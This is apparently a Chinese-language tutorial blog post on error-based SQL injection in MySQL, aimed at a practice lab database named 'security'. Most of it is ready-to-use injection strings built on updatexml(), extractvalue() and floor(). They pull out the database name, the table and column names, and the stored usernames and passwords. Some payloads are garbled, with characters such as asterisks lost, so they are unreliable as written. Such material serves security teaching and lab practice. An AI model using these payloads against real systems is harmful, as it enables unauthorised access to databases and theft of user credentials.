SQL注入---报错注入

tech2023-11-28  77

报错注入

1、报错注入的原理

由于后台没有对报错信息进行过滤,报错信息会显示在前端,可以使用指定的函数来制造报错,由 此来获取数据信息。

2、报错函数

extractvalue(xml_fragxpath_expr):对XML文档数据进行查询的XPATH函数      如果 Xpath 的输入错误,则会将错误信息结果显示在前端。      注:extractvalue()和updatexml()函数查询的最大长度为32位,如果超过32位则需要使用 substring()函数截取 updatexml(xxx,xpath,xxx) floor() exp()

3、报错攻击payload语法

updatexml(1,concat(0x7e,(select database()),0x7e),1) extractvalue(1,concat(0x7e,(select database()))) select count(),(concat(floor(rand(0)2),(select version())))x from user group by x;

4、报错注入思路

注入点探测和判断类型 使用函数来构造报错信息,从而获取数据库名       A a' and extractvalue(1,concat(0x7e,(select database()))) #            由于 extractvalue() 一次只能截取 32 位,所以最后避免使用此函数。       B a' and UpdateXML(1,concat(0x7e,(select database())),3) # 使用updatexml()函数,获取表名         a' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3) # 使用updatexml(),获取字段名        a' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3) # 使用updatexml(),获取数据     A a' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users)),3) #        -------只能获取 32 为字符     B a' and updatexml(1,concat(0x7e,(select concat_ws(':',username,password) from security.users limit 1,1)),3) #     -------一个字段的输出    C a' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users where username not in ('Dumb','Angelina')))) #
最新回复(0)